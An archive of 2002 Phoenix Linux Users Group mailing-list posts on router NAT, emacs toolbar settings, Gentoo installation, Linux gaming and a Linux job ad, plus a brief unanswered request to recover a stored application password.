Microsoft, having been convicted of Federal Antitrust Statutes (penalties > pending), clearly falls into the catagory described in part 3, and several > court cases past and pending show a clear lack of integrity and business > honesty as outlined in part 2. I cannot find that ANY government body > would be willing to work with such contractors, let alone having rules > against it and clearly ignoring those rules. > > There are many alternatives to Microsofts products. Alternatives that > have broken no laws, Federal or Local, are well supported and used by many > large governments (Germany, Taiwan, et al). As a concerned voter in > Chandler, I must point out that I cannot support criminal behavior and > would hope that my County Board of Supervisors would see fit to do the > same and ONLY consider alternatives as Microsoft is clearly unqualified to > meet County requirements. > > Thank You, > > my name and address > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Pruett) Date: 17 Jun 2002 22:32:26 -0700 Subject: How to upgrade Cisco 675 with linux?-update In-Reply-To: <20020513225128.A1588@texel.localdomain> References: <3CDC131C.3030406@milagrosoft.com> <3CE0556C.3090709@milagrosoft.com> <20020513225128.A1588@texel.localdomain> Message-ID: <1024378348.1643.459.camel@entelin> Well due to the nature of how this sort of NAT works your not going to get past the 678 from the outside unless there is a forwarding rule of some sort. ie: if you forward port 22 ssh the only thing that will hit your linux firewall is everything comming in on 22. This is because its working by tracking the orig of outbound connection and then explicitly allowing the assosiated inbound traffic. Except with 22 which is working in the oposite fassion. This is why you are not getting and suspicious port access's on your linux firewall. Just make shure your 678 is secure. :) On Mon, 2002-05-13 at 22:51, Michael Wittman wrote: > On Mon, May 13, 2002 at 05:08:12PM -0700, Eric Richardson wrote: > > Is anybody using the filtering, NAT, DHCP with cisco and what features > > for the Linux firewall. Maybe this is better for another thread. > > I'm using NAT on my 678. The default NAT settings seem to drop > incoming TCP connection packets, so I haven't even bothered to use > filtering. I assume UDP is dropped as well, based on my (Linux) > firewall logs. I've had to explicitly map some ports on the router to > ports on my Linux box so I could use services like ssh. > > When I was using dialup, I probably had 30 suspicious port access > attempts logged per month on my Linux firewall. With the 678, using > the same Linux firewall rules, I don't think I've seen a single one. > > -Mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 06:52:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 17 Jun 2002 23:52:50 -0700 Subject: Fwd: LINX JOBS Message-ID: <200206172352.50279@granroth.org> Got a call from this guy. This sounds like the real deal. You can probably guess what "company" this is by the description if you keep up with the corporate support for Linux news. If you are willing to relocate, it sounds like a kick-ass job. ---------- Forwarded Message ---------- Subject: LINX JOBS Date: Monday 17 June 2002 05:21 pm From: "Dennis Reilly" To: "Dennis Reilly" Hi - This is blinded for confidentiality. I'm networking to fill 2 positions with a scientific client that is going with a massively clustered LINUX cluster that will deliver over 8 teraflps. This is a coding position. enhance functionality, develop or know where to find tools. Would necessarily entail cultivating ties to/with Open-Source community. Would pay 80K in low cost of living WA state area. If you are interested or know another who would be, feel free to contact me or pass this on. US Citizenship and college degree is mandatory because this is a Fed involved organization. Should be a dream job for the discriminating LINUX nerd. Thanks, Dennis Reilly - TRIAD Sr. Account Manager 425-454-0282 or 800-514-9155 * Please pardon email errors e.g. capitalization, spelling, etc., as, due to my fractured right wrist, I'm reduced to pecking away, mainly, with my less obedient left =) ------------------------------------------------------- -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 14:23:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Tue, 18 Jun 2002 07:23:19 -0700 Subject: Emacs on RH 7.3 References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> Message-ID: <15631.16983.877210.720935@magnitude.righthandgraphics.com> \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having spake thusly: \_ \_ -----BEGIN PGP SIGNED MESSAGE----- \_ Hash: SHA1 \_ \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places \_ > right under the text menu bar on a stock installation of Redhat 7.3? \_ \_ Not annoyed, but I do not find it pleasing. \_ \_ > I have looked for a way to remove it, but have been unsuccessful so \_ > far. If anyone could tell me the magic incantation configuration \_ > setting that needs to be invoked, I would be very grateful. I really \_ > want that space back to display information. \_ \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more \_ space. YMMV, but stuff the following in your .emacs if you want permanent relief: (menu-bar-mode -1) (tool-bar-mode -1) ; 95% sure I'm not running emacs 21 locally so I don't have that config ready to dispense summary justice to tool-bar-mode, but it's something like that. \_ Any suggestions on how to change the type of scroll-bar used so that it \_ doesn't use the GTK tool set (i.e. make it look like the old one)? read the info pages on gtk/scrollbars and see. David From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 15:46:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 18 Jun 2002 08:46:36 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <15631.16983.877210.720935@magnitude.righthandgraphics.com> References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> <15631.16983.877210.720935@magnitude.righthandgraphics.com> Message-ID: <1024415199.26887.0.camel@nabla.phx.viz> Thanks Logan and David! On Tue, 2002-06-18 at 07:23, David A. Sinck wrote: > > > \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having spake thusly: > \_ > \_ -----BEGIN PGP SIGNED MESSAGE----- > \_ Hash: SHA1 > \_ > \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places > \_ > right under the text menu bar on a stock installation of Redhat 7.3? > \_ > \_ Not annoyed, but I do not find it pleasing. > \_ > \_ > I have looked for a way to remove it, but have been unsuccessful so > \_ > far. If anyone could tell me the magic incantation configuration > \_ > setting that needs to be invoked, I would be very grateful. I really > \_ > want that space back to display information. > \_ > \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like > \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more > \_ space. > > YMMV, but stuff the following in your .emacs if you want permanent > relief: > > (menu-bar-mode -1) > (tool-bar-mode -1) ; 95% sure > > I'm not running emacs 21 locally so I don't have that config ready to > dispense summary justice to tool-bar-mode, but it's something like that. > > \_ Any suggestions on how to change the type of scroll-bar used so that it > \_ doesn't use the GTK tool set (i.e. make it look like the old one)? > > read the info pages on gtk/scrollbars and see. > > David > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 16:38:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 09:38:56 -0700 Subject: gentoo 1.2 Message-ID: <200206180935.52647.zen2now@qwest.net> good morning plug, question for you guys familiar with gentoo. i noticed they sell a SPARC version, but i also noticed this statement: SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will allow a build from scratch for *all* systems, but also has pre-built stuff for i686+ CPUs. the Note states that the i686 will allow a build from scratch on *all* systems, does that include the Ultra Sparc II? i want to try gentoo on my Ultra 5, because i have to many stability issues with MDK 7.1 corp. server and i dont like working with Solaris 8. so gentoo sounds like a great alternative for bringing new life to an over priced desktop. slr From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 18:42:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 18 Jun 2002 11:42:58 -0700 Subject: Stammtisch Tonight Message-ID: <02061811425801.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I might be a little late, but I am planning on getting there. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ9/Misk3ywszI1FEQJxxgCdFu3O7+8D4mrTF0/VMxck2u6BxccAn23M qaREdJz7UXkJuqmczqqePvCE =y8ub -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:02:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Tue, 18 Jun 2002 14:02:24 -0700 Subject: gentoo 1.2 In-Reply-To: <200206180935.52647.zen2now@qwest.net> References: <200206180935.52647.zen2now@qwest.net> Message-ID: <20020618210224.GA27747@aries.evilmascot.com> The i686 disk has install stages 1-3 on the disk, they must be refering to the fact that if you build and compile starting from stage1 you can have a working system on any i386+ while stage3 has everything precompiled but only supports i686+. The last version I needed to install from was 1.1, which only included a i386 kernel to install from, I can't see how they'd some how muck install kernels for two diff architectures onto one cd (not to mention I doubt the el torito boodable cd standardworks on sparc machines). -Kyle On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > good morning plug, > > question for you guys familiar with gentoo. i > noticed they sell a SPARC version, but i also noticed this statement: > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo > sales to the Gentoo Linux project! :) Note that the i686 CD will allow a > build from scratch for *all* systems, but also has pre-built stuff for i686+ > CPUs. > > the Note states that the i686 will allow a build from scratch on *all* > systems, does that include the Ultra Sparc II? i want to try gentoo on my > Ultra 5, because i have to many stability issues with MDK 7.1 corp. server > and i dont like working with Solaris 8. so gentoo sounds like a great > alternative for bringing new life to an over priced desktop. > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:24:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:24:25 -0700 Subject: Does Linux do games well? Message-ID: How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 14:36:14 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716582@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/plain; charset="iso-8859-1" The Nvidia drivers for Linux are very nice. Tom's hardware has shown that they are faster than their windows counterparts. Of course Loki is down the toilet but their games still run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, have a native linux code base and run very quick. Of course game performance is largely influenced by your video card and available RAM. TransGaming has DirectX implemented on Linux but games running under their DirectX implementation lose quite a bit a frame rate relative to their performance under windows. It is getting better every day however. I have played Sim City 3K and Quake 3 on my Linux box and thoroughly enjoyed the experience. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:24 PM To: PLUG Subject: Does Linux do games well? How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

The Nvidia drivers for Linux are very nice. Tom's = hardware has shown that they are faster than their windows = counterparts. Of course Loki is down the toilet but their games still = run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, = have a native linux code base and run very quick. Of course game = performance is largely influenced by your video card and available RAM. = TransGaming has DirectX implemented on Linux but games running under = their DirectX implementation lose quite a bit a frame rate relative to = their performance under windows. It is getting better every day = however. I have played Sim City 3K and Quake 3 on my Linux box and = thoroughly enjoyed the experience.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


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= --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:45:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:45:38 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181445.38509.zen2now@qwest.net> linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:57:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:57:28 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181457.28864.zen2now@qwest.net> one other thing, check out transgaming's Wine-X project. they have been able to run many of the current gaming titles, but from what i have read on the benchmarking the performance is very poor compared to the Native Linux games or its Windoze counterpart. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:59:26 -0700 Subject: Does Linux do games well? In-Reply-To: Message-ID: I was thinking of those old simple 2D games that were basically nonviolent. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:03:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:03:45 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> You can also check out transgaming.com. Hoping they will get Dark Age of Camelot working then I can say goodbye to wintendo for good. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 2:46 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 15:02:35 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716583@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/plain; charset="iso-8859-1" Sim City 3K from Loki is fun in that case. -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Does Linux do games well? I was thinking of those old simple 2D games that were basically nonviolent. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

Sim City 3K from Loki is fun in that case.

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I was thinking of those old simple 2D games that were = basically nonviolent.



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= --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Tue, 18 Jun 2002 18:11:20 -0400 Subject: Does Linux do games well? Message-ID: I love Q3! I don't know what i would do without quake3.... Original Message: ----------------- From: slr zen2now@qwest.net Date: Tue, 18 Jun 2002 14:45:38 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:18:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 15:18:29 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181518.29569.zen2now@qwest.net> oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:20:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 18 Jun 2002 15:20:34 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: Several years ago when I was completely addicted to StarCraft, I played it through Wine on Linux. It worked fine. Just make sure you have a zippy computer. ~M On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 18 Jun 2002 15:23:35 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> Message-ID: <20020618222335.32974.qmail@web13908.mail.yahoo.com> Here is one I recently came across: http://www.linuxgaming.co.uk/ mike --- Larry Lauer wrote: > You can also check out transgaming.com. Hoping they > will get Dark Age of Camelot working then I can say > goodbye to wintendo for good. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 2:46 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. > drv. to play the newer > games, then i would say YES!!! linux is great for > playing games, Wolfenstein > plays better for me in linux than is does in > Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 > and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in > Linux better than Windoze, > but there just isnt enough titles, and now with Loki > gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt > wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on > older hardware than W*. > > Is there a website that lists games available to > linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > > post to the list quickly and you use Netscape to > write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:51:11 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> You can check out x.mame.net for an arcade emulator. There are many different kinds out there. software.linux.com has links to many other sites also. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 3:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 18 Jun 2002 15:55:33 -0700 Subject: Ethical hacking/cracking Message-ID: <3D0FBA65.9060506@esaravana.com> Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:48:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 18 Jun 2002 15:48:20 -0700 (MST) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: I can vouch for Wine-X. It's money well spent. I have Diablo II and Jedi Knight II working flawlessly under it. Those are really the only windows-based games I play - and now I don't need windows. As for linux-port games, get on eBay. You can find most of the loki titles (simcity3k, heroes3, myth2, etc) for $9 - $20. I own Quake3, Solider Of Fortune, Descent3, Heavy Metal, Myth2 and Heroes 3. All of them run great on an Athlon 800 w/GeForce256 or better in my case. Now I just need time to play them... On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:03:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:03:18 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <200206181603.18823.zen2now@qwest.net> yeah thats the one! i knew one of you guys would know the name. it was great, i spent many hours playing defender with xmame. the plus here was that i still had all my quarters in my pocket. hehe :~D slr On Tuesday 18 June 2002 03:51 pm, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight > sims and racing sims. but i use to play with this Arcade emulator that was > great, played all the old Arcade games that i enjoyed playing as a kid. i > cant remember the name of it, but if you look hard enough i know you can > find an arcade emulator for Linux. but linux comes with many 2D non-violent > games, what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > 